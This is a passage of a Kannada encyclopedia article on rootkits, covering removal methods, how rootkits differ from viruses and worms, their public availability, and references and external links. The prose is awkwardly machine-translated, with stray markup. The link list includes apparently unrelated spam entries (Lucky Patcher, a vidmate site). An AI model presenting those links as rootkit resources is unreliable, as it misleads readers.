ಮೂಲಕ ಪ್ರಸ್ತುತ ಸ್ಥಾಪನೆಯನ್ನು ಸರಿಪಡಿಸುವ ಪ್ರಚೋದನೆಯನ್ನು ತೆಗೆದುಹಾಕಬಹುದು. ಸಾಂಪ್ರದಾಯಿಕ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ಕಂಡುಹಿಡಿದರೂ ತೆಗೆಯಲಾಗದಷ್ಟು ಕಷ್ಟಕರವಾಗಿ ರಚಿಸಲಾಗಿರುತ್ತದೆ; ಹೇಗಿದ್ದರೂ, ಹೆಚ್ಚಿನ ಪ್ರೇರಣೆ ಏನೂ ಇರುವುದಿಲ್ಲ, ಏಕೆಂದರೆ ಒಂದು ಬಾರಿ ರೂಟೆಡ್ ಸಿಸ್ಟಮ್ ಅನ್ನು ಕಂಡುಕೊಂಡ ಮೇಲೆ ಒಬ್ಬ ಅನುಭವಿ ಸಿಸ್ಟಮ್ ಅಡ್ಮಿನ್ ಮಾಡುವುದೇನೆಂದರೆ [[ಡಾಟಾ ಫೈಲ್‌|ಡಾಟಾ ಫೈಲ್‌ಗಳನ್ನು]] ಉಳಿಸುವುದು, ನಂತರ ಹಾರ್ಡ್‌ಡ್ರೈವ್ [[ರೀಫಾರ್ಮ್ಯಾಟ್]] ಮಾಡುವುದು ಮತ್ತು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ಮರು ಸ್ಥಾಪನೆಗೊಳಿಸುವುದು. ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಅತ್ಯಂತ ಪರಿಚಿತವಾಗಿದ್ದು ಅದನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ತೆಗೆಯಬಹುದಾಗಿದ್ದರೂ ಇದನ್ನು ಮಾಡಲಾಗುತ್ತದೆ.<ref>{{cite web|url=http://www.spywareinfoforum.com/lofiversion/index.php/t52360.html |title=Rootkit Question |publisher=Spywareinfoforum.com |date= |accessdate=2009-04-07}}</ref> ಹೆಚ್ಚಿನ ಆ‍ಯ್‌೦ಟಿ-ವೈರಸ್ ಮತ್ತು ಮಾಲ್‌ವೇರ್‌ ತೆಗೆಯುವ ಸಾಧನಗಳು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳ ಎದುರಿಗೆ ನಿಷ್ಕ್ರಿಯಗೊಳ್ಳುತ್ತವಾದರೂ, [[BartPE]] ಮತ್ತು ಇತರೆ ಪ್ರಿಇನ್‌ಸ್ಟಾಲೇಶನ್ ಎನ್ವಿರಾನ್ಮೆಂಟ್(PE) ಅಥವಾ [[ಲೈವ್ ಡಿಸ್ಟ್ರೋಸ್]]‌ದಂತಹ ಸಾಧನಗಳು ಒಂದು ದಾಳಿಗೊಳಗಾದ ಕಂಪ್ಯೂಟರ್‌ ಅನ್ನು ಒಂದು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ನ "ಸ್ವಚ್ಛ" ಪ್ರತಿಯೊಂದಿಗೆ ಒಬ್ಬ ಬಳಕೆದಾರರಿಗೆ ಬೂಟ್ ಮಾಡಲು ಅವಕಾಶ ನೀಡುತ್ತವೆ. ಒಬ್ಬ ಬಳಕೆದಾರರು ಒಂದು ದಾಳಿಗೊಳಗಾದ ಸಿಸ್ಟಮ್‌ನ ಫೈಲ್‌ಗಳನ್ನು ಪರಿಶೀಲಿಸಿ ಸಿಸ್ಟಮ್ ಅನ್ನು ಹಾಗೇ ಉಳಿಸಿಕೊಂಡು ಅನಧಿಕೃತ ಫೈಲ್‌ಗಳನ್ನು ಮತ್ತು ಕಾನ್ಫಿಗರೇಶನ್ ನಮೂದುಗಳನ್ನು ಅಳಿಸಿ ಹಾಕಬಹುದು. ಹೆಚ್ಚಿನ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಹುಕ್ ಸಿಸ್ಟಮ್ ಫೈಲ್‌ಗಳು OS ನ ಅತ್ಯಂತ ಕೆಳಮಟ್ಟದಲ್ಲಿ ಅಗತ್ಯವಿದ್ದು, [[ಸೇಫ್ ಮೋಡ್‌ಗೆ]] ಬೂಟ್ ಮಾಡುವುದರಿಂದ ರೂಟ್‌ಕಿಟ್‌ ಪ್ರಕ್ರಿಯೆಯನ್ನು ತೆಗೆಯುವುದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಅನುಮತಿಸುವುದಿಲ್ಲ. ಒಂದು ಪಿಯಿ ಬೂಟ್‌ಗಳು ಮತ್ತು ಲೋಡ್‌ಗಳು ಬೇರೊಂದು ಮೀಡಿಯಾದಿಂದ ಒಎಸ್ ನಕಲನ್ನು ಸ್ವಚ್ಛಗೊಳಿಸಬಹುದು ಮತ್ತು ಅದು ದಾಳಿಗೊಳಗಾದ ಆಂತರಿಕ ಸಿಸ್ಟಮ್ ಸ್ವರೂಪದ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿರುವುದಿಲ್ಲ, ಮತ್ತು ಬಳಕೆದಾರರಿಗೆ ಸಿಸ್ಟಮ್ ಡಿಸ್ಕ್‌ಗಳ ಮೇಲೆ ಸಂಪೂರ್ಣ ನಿಯಂತ್ರಣವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಒಂದು ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಬದಲಿಸಲಾಗದ ದತ್ತಾಂಶವಿದ್ದಾಗ ಮತ್ತು ಅದು ಮರುಸ್ಥಾಪನೆ ಸಮಯದಲ್ಲಿ ಅಥವಾ ಡಿಸ್ಕ್ ಇಮೇಜಿಂಗ್ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ಅಳಿಸಿಹೋಗುವ ಸಾಧ್ಯತೆಯಿದ್ದಾಗ ಪಿಇ ವಿಧಾನವನ್ನು ಬಳಸಬಹುದಾಗಿದೆ. ಸಿಮ್ಯಾಂಟಿಕ್ [[ವೆರಿಟಾಸ್]] VxMS (ವೆರಿಟಾಸ್ ಮ್ಯಾಪಿಂಗ್ ಸರ್ವೀಸ್), ಇನ್ನೊಂದು ರೀತಿಯಲ್ಲಿ, ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಸ್ಕ್ಯಾನರ್ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ ನಿಂದ ನಿಯಂತ್ರಿತಗೊಂಡ ವಿಂಡೋಸ್ ಫೈಲ್ ಸಿಸ್ಟಮ್ ಎಪಿಐಗಳನ್ನು ದಾಟಿಕೊಂಡು ಹೋಗುವಂತೆ ಮಾಡುತ್ತದೆ ಮತ್ತು ಆ ಕಾರಣಕ್ಕಾಗಿ ಅದು ರೂಟ್‌ಕಿಟ್‌ನಿಂದ ಬದಲಾಯಿಸಲ್ಪಡುವ ಸಾಧ್ಯತೆಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. VxMS ನೇರವಾಗಿ ರಾ ವಿಂಡೋಸ್ ಎನ್‌ಟೀ ಫೈಲ್ ಸಿಸ್ಟಮ್ ಫೈಲ್‌ಗಳನ್ನು ಪ್ರವೇಶಿಸುತ್ತದೆ. ಅದರ ಪರಿಣಾಮವಾಗಿ, VxMS ಡಾಟಾವನ್ನು ಮ್ಯಾಪ್ ಮಾಡಬಹುದು, ಅದನ್ನು ವಿಂಡೋಸ್ ಫೈಲ್ ಸ್ವರೂಪಕ್ಕೆ ಹೋಲಿಸಬಹುದು ಮತ್ತು ಯಾವುದೇ ತಪ್ಪುಗಳು ಕಂಡುಬಂದಲ್ಲಿ ಅದನ್ನು ಬೇರ್ಪಡಿಸಬಹುದು. VxMS ತಂತ್ರಜ್ಞಾನವನ್ನು ೨೦೦೭ ಉತ್ಪನ್ನ ವರ್ಷದಿಂದ ಸಿಮ್ಯಾಂಟಿಕ್‌ನ ನಾರ್ಟನ್ ಉತ್ಪನ್ನ ಲೈನ್‌ಗೆ ವಿಸ್ತರಿಸಲಾಗಿದೆ .<ref>{{cite web|author=Posted by Flashlight |url=http://techloop.blogspot.com/2007/04/rootkits-next-big-enterprise-threat.html |title=Tech Loop: Rootkits: The next big enterprise threat? |publisher=Techloop.blogspot.com |date=30 April 2007 |accessdate=2009-04-07}}</ref><ref>{{cite web|url=http://reviews.cnet.com/4520-3513_7-6686763-1.html |title=Security Watch: Rootkits for fun and profit - CNET Reviews |publisher=Reviews.cnet.com |date=19 January 2007 |accessdate=2009-04-07}}</ref><ref>{{cite web |author=Sponsored by Dell |url=http://www.pcworld.com/businesscenter/article/137821/six_ways_to_fight_back_against_botnets.html |title=Six ways to fight back against botnets - Business Center |publisher=PC World |date= |accessdate=2009-04-07 |archive-date=2012-09-07 |archive-url=https://archive.is/20120907/http://www.pcworld.com/businesscenter/article/137821/six_ways_to_fight_back_against_botnets.html |url-status=dead }}</ref><ref>{{cite web |author=12:00 AM |url=https://forums.symantec.com/t5/Malicious-Code/Handling-Today-s-Tough-Security-Threats-Rootkits/ba-p/305215;jsessionid=7D537BC23D36E015CD11EA806B389E54#A68 |title=Handling Today's Tough Security Threats: Rootkits - Malicious Code - STN Peer-to-Peer Discussion Forums |publisher=Forums.symantec.com |date= |accessdate=2009-04-07 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref><ref>{{cite web|last=Hultquist |first=Steve |url=http://www.infoworld.com/d/security-central/rootkits-next-big-enterprise-threat-781 |title=Rootkits: The next big enterprise threat? &#124; Security Central |publisher=InfoWorld |date=30 April 2007 |accessdate=2009-04-07}}</ref> == ಕಂಪ್ಯೂಟರ್‌ ವೈರಸ್‌ಗಳು ಮತ್ತು ವರ್ಮ್‌ಗಳ ನಡುವೆ ಹೋಲಿಕೆ == ಒಂದು [[ಕಂಪ್ಯೂಟರ್‌ ವೈರಸ್]] ಮತ್ತು ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ನಡುವಿನ ಪ್ರಮುಖ ವ್ಯತ್ಯಾಸವು ವಿಸ್ತರಣೆಗೆ ಸಂಬಂಧಿಸಿದೆ. ಒಂದು ರೂಟ್‌ಕಿಟ್‌ನಂತೆ‌, ಒಂದು ಕಂಪ್ಯೂಟರ್‌ ವೈರಸ್ ಒಂದು ಸಿಸ್ಟಮ್‌ನ ಕೇಂದ್ರೀಯ ಸಾಫ್ಟ್‌ವೇರ್‌ ವಿಭಾಗಗಳನ್ನು ಬದಲಾಯಿಸುತ್ತದೆ, ಕೋಡ್ ಸೇರಿಸುವ ಮೂಲಕ ಅಂತಹ ದಾಳಿಯನ್ನು ಅಡಗಿಸಲು ಪ್ರಯತ್ನಿಸುತ್ತದೆ ಮತ್ತು ದಾಳಿಕಾರರಿಗೆ ಹೆಚ್ಚಿನ ವೈಶಿಷ್ಟ್ಯ ಅಥವಾ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುತ್ತದೆ (ಅಂದರೆ, ಒಂದು ವೈರಸ್‌ನ "ಪೇಲೋಡ್"). ರೂಟ್‌ಕಿಟ್‌ನ ವಿಷಯದಲ್ಲಿ ಒಂದು ಪೇಲೋಡ್ ಅದರ ಸಮಗ್ರತೆಯನ್ನು ಕಾಪಾಡಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸಬಹುದು (ಅಂದರೆ ಸಿಸ್ಟಮ್ ನ ನಿಯಂತ್ರಣ). ಉದಾಹರಣೆಗೆ, ಪ್ರತೀ ಬಾರಿ ರೂಟ್‌ಕಿಟ್‌ನ ''ps'' ಕಮ್ಯಾಂಡ್‌ನ ಆವೃತ್ತಿಯನ್ನು ಚಲಿಸಿದಾಗ, ಅದು ಸಿಸ್ಟಮ್‌ನಲ್ಲಿನ ''init'' ಮತ್ತು ''inetd'' ಗಳ ಪ್ರತಿಯನ್ನು ಅವುಗಳು ಇನ್ನೂ ನಿಯಂತ್ರಿತ ಸ್ಥಿತಿಯಲ್ಲಿಯೇ ಇವೆ ಎಂಬುದನ್ನು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳಲು ಪರಿಶೀಲಿಸಬಹುದು, ಮತ್ತು ಅಗತ್ಯವಿದ್ದರೆ "ಮರು-ದಾಳಿ" ಮಾಡಬಹುದು. ಉಳಿದ ಪೇಲೋಡ್ ದಾಳಿಕಾರನು ಸಿಸ್ಟಮ್‌ ಮೇಲಿನ ನಿಯಂತ್ರಣವನ್ನು ಉಳಿಸಿಕೊಂಡಿರುತ್ತಾನೆ ಎಂಬುದನ್ನು ಖಚಿತಪಡಿಸಿಕೊಳ್ಳಲು ಇರುತ್ತದೆ. ಇದರಲ್ಲಿ ಹಾರ್ಡ್-ಕೋಡೆಡ್ ಬಳಕೆದಾರ ಹೆಸರು/ಪಾಸ್‌ವರ್ಡ್ ಜೊತೆಗಳು, ಅಡಗಿದ ಕಮ್ಯಾಂಡ್-ಲೈನ್ ಸ್ವಿಚ್‌ಗಳು ಅಥವಾ "ಮ್ಯಾಜಿಕ್ ಎನ್ವಿರಾನ್‌ಮೆಂಟ್ ವೇರಿಯಬಲ್ ಸೆಟ್ಟಿಂಗ್ ರೀತಿಯಲ್ಲಿ [[ಹಿಂಬಾಗಿಲು|ಹಿಂಬಾಗಿಲುಗಳನ್ನು]] ಹೊಂದಿರುತ್ತಿದ್ದು, ಅವು ಪ್ರೋಗ್ರಾಮ್‌ನ ದಾಳಿಗೊಳಗಾಗದ ಆವೃತ್ತಿ ಸಾಮಾನ್ಯ ಪ್ರವೇಶ ನಿಯಂತ್ರಣ ನೀತಿಗಳನ್ನು ಹಾಳುಮಾಡುತ್ತವೆ. ಕೆಲವು ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಪ್ರಸ್ತುತ ನೆಟ್ವರ್ಕ್ ಡೇಮನ್‌ಗಳಿಗೆ (ಸೇವೆಗಳಿಗೆ) ''inetd'' ಅಥವಾ ''sshd'' ಗಳಂತಹ [[ಪೋರ್ಟ್ ನಾಕಿಂಗ್]] ಪರೀಕ್ಷಕಗಳನ್ನು ಸೇರಿಸಬಹುದು. ಒಂದು ಕಂಪ್ಯೂಟರ್ ವೈರಸ್ ಯಾವುದೇ ರೀತಿಯ ಪೇಲೋಡ್‌ಗಳನ್ನು ಹೊಂದಿರಬಹುದು. ಹೇಗಿದ್ದರೂ, ಕಂಪ್ಯೂಟರ್ ವೈರಸ್ ಇತರ ಸಿಸ್ಟಮ್‌ಗಳಿಗೂ ಹರಡಲು ಪ್ರಯತ್ನಿಸುತ್ತದೆ. ಸಾಮಾನ್ಯವಾಗಿ, ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಒಂದು ಸಿಸ್ಟಮ್‌ನ ಮೇಲಿನ ನಿಯಂತ್ರಣವನ್ನು ನಿರ್ವಹಿಸುವುದಕ್ಕೆ ತನ್ನನ್ನು ತಾನು ಮಿತಿಗೊಳಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಒಂದು ನೆಟ್‌ವರ್ಕ್ ಅನ್ನು ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಸ್ಕ್ಯಾನ್ ಮಾಡಿ ಯಾವುದಾದರೂ ಲಭ್ಯ ಸಿಸ್ಟಮ್ ಅನ್ನು ಬಳಸಿಕೊಳ್ಳಲು ಮತ್ತು ಆ ಮೂಲಕ ಆ ಕಂಪ್ಯೂಟರ್‌ಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳುವ ಒಂದು ಪ್ರೋಗ್ರಾಮ್ ಅಥವಾ ಪ್ರೋಗ್ರಾಮ್‌ನ ಗುಚ್ಚವನ್ನು [[ಕಂಪ್ಯೂಟರ್‌ ವರ್ಮ್]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಕಂಪ್ಯೂಟರ್‌ ವರ್ಮ್‌ಗಳ ಇತರ ಪ್ರಕಾರಗಳು ಹೆಚ್ಚು ಜಡವಾಗಿ ಕೆಲಸ ಮಾಡುತ್ತವೆ, ಅಂದರೆ ಬಳಕೆದಾರ ಹೆಸರು ಮತ್ತು ಪಾಸ್‌ವರ್ಡ್‌ಗಳಿಗಾಗಿ ಹುಡುಕುವ ಮೂಲಕ ಖಾತೆಗಳನ್ನು ನಿಯಂತ್ರಣಕ್ಕೊಳಪಡಿಸಿಕೊಳ್ಳುತ್ತವೆ, ತಮ್ಮ ಪ್ರತಿಗಳನ್ನು ಪ್ರತಿಯೊಂದು ಖಾತೆಯಲ್ಲಿಯೂ ಸ್ಥಾಪಿಸಿಕೊಳ್ಳುತ್ತವೆ (ಮತ್ತು ಸಾಮಾನ್ಯವಾಗಿ ಅಂತಹ ಖಾತೆಗಳ ಮಾಹಿತಿಗಳನ್ನು [[ಕವರ್ಟ್ ಚಾನೆಲ್]]) ಮೂಲಕ ದಾಳಿಕಾರನಿಗೆ ರವಾನಿಸುತ್ತವೆ. ಅದರಲ್ಲಿ ಹೈಬ್ರಿಡ್‌ಗಳೂ ಸಹಾ ಇವೆ. ಒಂದು ವರ್ಮ್ ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಅನ್ನು ಸ್ಥಾಪಿಸಬಹುದು, ಮತ್ತು ಒಂದು ರೂಟ್‌ಕಿಟ್‌ ಒಂದು ಅಥವಾ ಹೆಚ್ಚು ವರ್ಮ್‌ಗಳ, [[ಪ್ಯಾಕೆಟ್‌ ಸ್ನಿಫರ್]] ಗಳ ಅಥವಾ [[ಪೋರ್ಟ್‌ ಸ್ಕ್ಯಾನರ್‌ಗಳ]] ಪ್ರತಿಗಳನ್ನು ಹೊಂದಿರಬಹುದು. ಮತ್ತು ಸಾಮಾನ್ಯವಾಗಿ ಎಲ್ಲ ಇಮೇಲ್ ವರ್ಮ್‌ಗಳನ್ನು "ವೈರಸ್‌ಗಳು" ಎನ್ನಲಾಗುತ್ತದೆ, ಹಾಗಾಗಿ ಈ ಎಲ್ಲ ಬಳಕೆಗಳನ್ನು ಒಂದಕ್ಕೆ ಇನ್ನೊಂದರಂತೆ ಬಳಸಲಾಗುತ್ತದೆ. == ಸಾರ್ವಜನಿಕ ಲಭ್ಯತೆ == ದಾಳಿಕಾರರು ಬಳಸುವ ಅನೇಕ ಮಾಲ್‌ವೇರ್‌ಗಳಂತೆ, ಅನೇಕ ರೂಟ್‌ಕಿಟ್‌ ಬಳಕೆಗಳನ್ನೂ ಅಂತರ್ಜಾಲದಲ್ಲಿ ನಾವು ಕಾಣಬಹುದು. ಸಂಸ್ಕರಿತ ಮಟ್ಟದ ಮಟ್ಟದ ಸಾರ್ವಜನಿಕವಾಗಿ ಸಿಗಬಲ್ಲ ರೂಟ್‌ಕಿಟ್‌ ಸಂಸ್ಕರಿತವಲ್ಲದ [[ವರ್ಮ್‌|ವರ್ಮ್‌ಗಳ]] ಪ್ರಸ್ತುತಿಯನ್ನು ಅಥವಾ ಅನನುಭವಿ ಪ್ರೋಗ್ರಾಮರ್‌ಗಳು ಬರೆದಿರುವ ದಾಳಿ ಸಾಧನಗಳನ್ನು ಅಡಗಿಸಿಡುವುದು ಬಹಳ ಸಾಮಾನ್ಯವಾಗಿದೆ. ಅಂತರ್ಜಾಲದಲ್ಲಿ ದೊರೆಯುವ ಹೆಚ್ಚಿನ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಇಂತಹ ಬಳಕೆಗಾಗಿ ಅಥವಾ "[[ಪ್ರೂಫ್]] ಆಫ್ ಕಾನ್ಸೆಪ್ಟ್/೦}" ಆಗಿ ಒಂದು ಕಂಪ್ಯೂಟರ್‌ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿ ಅನೇಕ ಸಾಧನಗಳನ್ನು ಅಡಗಿಸುವುದು ಹೇಗೆ ಎಂಬುದನ್ನು ಮತ್ತು ಆ ಮೂಲಕ ಹೇಗೆ ಅನಧಿಕೃತವಾಗಿ ಇನ್ನೊಂದು ಸಿಸ್ಟಮ್ ಮೇಲೆ ನಿಯಂತ್ರಣವನ್ನು ಸಾಧಿಸಬಹುದು ಎಂಬುದನ್ನು ಪ್ರದರ್ಶಿಸಲು ಬಳಸಿರುತ್ತಾರೆ. ಆದರೆ ಅವುಗಳನ್ನು ಸಂಪೂರ್ಣವಾಗಿ ಕಳ್ಳತನ ಮಾಡಲು ಬಳಸಿರುವುದಿಲ್ಲವಾದ್ದರಿಂದ, ಅವುಗಳ ಉಪಸ್ಥಿತಿಯನ್ನು ಅವುಗಳೇ ಕೆಲವೊಮ್ಮೆ ಬಿಟ್ಟುಕೊಡುತ್ತವೆ. ಹಾಗಾದಾಗಲೂ ಸಹಾ, ಅಂತಹ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳನ್ನು ದಾಳಿಗಾಗಿ ಬಳಸಿದಾಗ ಅವು ಹೆಚ್ಚಾಗಿ ಪರಿಣಾಮಕಾರಿಯಾಗಿರುತ್ತವೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * [[ಹ್ಯಾಕರ್ ಕಾನ್]] * [[ಕಂಪ್ಯೂಟರ್‌ ವೈರಸ್]] * [[ಹೊಸ್ಟ್-ಬೇಸ್ಡ್ ಇನ್ಟ್ರುಷನ್ ಡಿಟೇಕ್ಷನ್ ಸಿಸ್ಟಮ್]] * [[ಎಸ್‌ಎ‌ಎನ್‌ಎಸ್ ಸಂಸ್ಥೆ]] * [[2005 ಸೋನಿ ಬಿಎಂ‌ಜಿ ಸಿಡಿ ನಕಲು ರಕ್ಷಣೆ ಹಗರಣ]] == ಆಕರಗಳು == {{refs|2}} == ಹೆಚ್ಚಿನ ಮಾಹಿತಿಗಾಗಿ == * {{cite journal|author=Robert S Morris, Sr.|title=UNIX Operating System Security|publisher=BSTJ|volume= 62| issue = 8|year=1984|journal=Bell Systems Technical Journal}} * {{cite book|author=Greg Hoglund and James Butler|title=Rootkits: Subverting the Windows Kernel|publisher=Addison Wesley|year=2005|isbn=0-321-29431-9|url=https://books.google.com/books?id=fDxg1W3eT2gC}} * {{cite book|author=Nancy Altholz and Larry Stevenson|title=Rootkits for Dummies|publisher=John Wiley and Sons Ltd|year=2006|isbn=0-471-91710-9|url=https://books.google.com/books?id=MTcep7V6heUC}} * {{cite book|author=Ric Veiler|title=Professional Rootkits|publisher=Wrox|year=2007|isbn=978-0-470-10154-4|url=https://books.google.com/books?id=OSaVF_jzsJgC}} * {{cite book|author=Reverend Bill Blunden|title=The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System|publisher=Wordware|year=2009|isbn=978-1598220612|url=http://www.amazon.co.uk/Rootkit-Arsenal-Escape-Evasion-Corners/dp/1598220616}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.phrack.com/archives/66/p66_0x07_Persistent%20BIOS%20infection_by_aLS%20and%20Alfredo.txt ಫ್ರಾಕ್ ಮ್ಯಾಗಜೀನ್ #66] {{Webarchive|url=https://web.archive.org/web/20110430213042/http://www.phrack.com/archives/66/p66_0x07_Persistent%20BIOS%20infection_by_aLS%20and%20Alfredo.txt |date=2011-04-30 }} * [http://exploiting.wordpress.com/2009/09/11/138/ ಡಿಆ‍ಯ್‌ಕ್ಟೀವೇಟ್ ದ ರೂಟ್‌ಕಿಟ್‌ - ಎಕ್ಸ‌ಪ್ಲೋಯ್ಟಿಂಗ್ ಸ್ಟಫ್] * [http://blogs.conus.info/node/37 ಒರೆಕಲ್ ಆರ‍್‌ಡಿಬಿಎಮ್‌ಎಸ್‌ನಲ್ಲಿ ರೂಟ್‌ಕಿಟ್‌ ಕಾರ್ಯಗತಗೊಳಿಸುವದು.] {{Webarchive|url=https://web.archive.org/web/20100329101721/http://blogs.conus.info/node/37 |date=2010-03-29 }} * [http://www.rootkitanalytics.com ರೂಟ್‌ಕಿಟ್‌ ವಿಷ್ಲೇಶಣೆ:ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳ ಸಂಶೋಧನೆ ಮತ್ತು ವಿಷ್ಲೇಶಣೆ ] * [http://www.informit.com/articles/article.aspx?p=23463 ಈವನ್ ನಾಸ್ಟಿಯರ್: ಟ್ರೆಡಿಷನ್ ರೂಟ್‌ಕಿಟ್‌ಗಳು] * [http://podcasts.sophos.com/en/sophos-podcasts-004.mp3 ಸೋಪೋಸ್ ಪೊಡ್‌ಕಾಸ್ಟ್ ರೂಟ್‌ಕಿಟ್‌ ವರ್ಗಾವಣೆ ಮಾಡುವುದು] * [http://www.rootkit.com/newsread.php?newsid=902 ವಿಶೇಷ ಲೇಖನ :ಡೈಯಾಬ್ಲೊನೊವಾದಿಂದ ರೂಟ್‌ಕಿಟ್‌ ಯುಎನ್‌ಹೋಕರ್ ವಿ3.8 ಇದರ ಭೂತ, ವರ್ತಮಾನ ಮತ್ತು ಭವಿಷ್ಯತ್ ಎನ್‌ಟಿಎಕ್ಸ್ 86 ರೂಟ್‌ಕಿಟ್‌ ಪತ್ತೆಹಚ್ಚುವುದು]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://research.microsoft.com/Rootkit/ ಮೈಕ್ರೋಸಾಪ್ಟ್‌ನಲ್ಲಿ ರೂಟ್‌ಕಿಟ್‌ ಸಂಶೋಧನೆ ] {{Webarchive|url=https://web.archive.org/web/20081015071450/http://research.microsoft.com/Rootkit/ |date=2008-10-15 }} * [http://northsecuritylabs.com/downloads/whitepaper-html/ ಹೊಸ-ಪೀಳಿಗೆ ರೂಟ್‌ಕಿಟ್‌ ಪತ್ತೆ ಮೇಲಿನ ವೈಟ್ ಪೇಪರ್ ] * [http://www.antirootkit.com ಅ‍ಯ್‌೦ಟಿರೂಟ್‌ಕಿಟ್‌.ಕಾಮ್] * [http://www.lucky-patcher.co Lucky Patcher] {{Webarchive|url=https://web.archive.org/web/20210307084038/https://lucky-patcher.co/ |date=2021-03-07 }} * ಆ‍ಯ್‌೦ಟಿ-ಮಾಲ್‌ವೇರ್‌ ಪರೀಕ್ಷಾ ಪ್ರಯೋಗಾಲಯದಿಂದ ಪತ್ತೆ ಹಚ್ಚುವಿಕೆಗೆ ಮತ್ತು ವರ್ಗಾಯಿಸಲು [http://www.anti-malware-test.com/?q=taxonomy/term/7 ಆ‍ಯ್‌೦ಟಿವೈರಸ್‌ ಪರೀಕ್ಷೆ/ಆ‍ಯ್‌೦ಟಿ-ರೂಟ್‌ಕಿಟ್‌ ಸಾಫ್ಟ್‌ವೇರ್‌ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು] {{Webarchive|url=https://web.archive.org/web/20210419022714/http://www.anti-malware-test.com/?q=taxonomy%2Fterm%2F7 |date=2021-04-19 }} , ಜನವರಿ ೨೦೦೮ * ಇನ್‌ಫಾರ್ಮೇಷನ್‌ನ್‌ವೀಕ್‍ನಿಂದ [http://www.informationweek.com/news/showArticle.jhtml?articleID=196901062 ಆ‍ಯ್‌೦ಟಿ-ರೂಟ್‌ಕಿಟ್‌ ಸಾಫ್ಟ್‌ವೇರ್‌ ಪರೀಕ್ಷೆ ] {{Webarchive|url=https://web.archive.org/web/20080321021325/http://www.informationweek.com/news/showArticle.jhtml?articleID=196901062 |date=2008-03-21 }}, ಜನವರಿ ೨೦೦೭ * [http://blogs.technet.com/markrussinovich/archive/2005/10/31/sony-rootkits-and-digital-rights-management-gone-too-far.aspx ಸೋನಿ, ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳು ಮತ್ತು ಡಿಜಿಟಲ್ ರೈಟ್ಸ್ ಮ್ಯಾನೇಜ್‌ಮೆಂಟ್ ಗಾನ್ ಟೂ ಫಾರ್ ]{{Webarchive|url=https://web.archive.org/web/20120602231838/http://blogs.technet.com/b/markrussinovich/archive/2005/10/31/sony-rootkits-and-digital-rights-management-gone-too-far.aspx |date=2012-06-02 }} (ಮಾರ್ಕ್ ರುಸಿನೊವಿಚ್‌ ಸೋನಿ ಡಿಆರ‍್‌ಎಮ್ ರೂಟ್‌ಕಿಟ್‌ನಿಂದ ಬ್ಲಾಗ್ ಹುಡುಕಿದ ಮೊದಲ ಪ್ರವೇಶ ಪ್ರಕರಣ ‌,) * [http://www.oreilly.com/catalog/1593271425/ ಬಿಎಸ್‌ಡಿ ರೂ‍ಟ್‌ಕಿಟ್‌ಗಳ ವಿನ್ಯಾಸ ] ಕರ್ನೆಲ್ ಹಾಕಿಂಗ್ ಪ್ರಸ್ತಾವನೆ (ಜೋಸೆಫ್ ಕಾಂಗ್‌ನಿಂಡ ಪುಸ್ತಕ) * [http://vidmateforpcq.com/ vidmate] * [http://www.pcworld.ca/news/column/23a7f73b0a010408001a024ccab0dd5e/pg1.htm ನಿಮ್ಮ ಪಿಸಿಯಿಂದ ಹೇಗೆ ಸ್ಪೈವೇರ್ ತೆಗೆದುಹಾಕುವುದು: ನಿಮ್ಮನ್ನು ನೀವು ರೂ‍ಟ್‌ಕಿಟ್‌‌ನಿಂದ ತಪ್ಪಿಸಿಕೊಳ್ಳಬಹುದು] {{Webarchive|url=https://web.archive.org/web/20070928025609/http://www.pcworld.ca/news/column/23a7f73b0a010408001a024ccab0dd5e/pg1.htm |date=2007-09-28 }} * [http://www.antispywarecoalition.org/documents/glossary.htm ಗ್ಲಾಸರಿ ಆಫ್ ಮಾಲ್‌ವೇರ್‌ ಟರ್ಮಿನಾಲಜಿ] {{Webarchive|url=https://web.archive.org/web/20071229231215/http://www.antispywarecoalition.org/documents/glossary.htm |date=2007-12-29 }} ("ರೂಟ್‌ಕಿಟ್‌" ನಕಾರಾತ್ಮಕ ಅರ್ಥ) * [http://www.crucialsecurity.com/downloads/HVM-whitepaper.pdf ಹೈಪರ್‌ವೈಸರ್‌ ರೂಟ್‌ಕಿಟ್‌ ಟೆಕ್ನಾಲಜಿಯ ಮೇಲಿನ ವೈಟ್ ಪೇಪರ್ ]{{Dead link|date=ಅಕ್ಟೋಬರ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * [http://www.informationweek.com/news/software/reviews/showArticle.jhtml?articleID=196901062 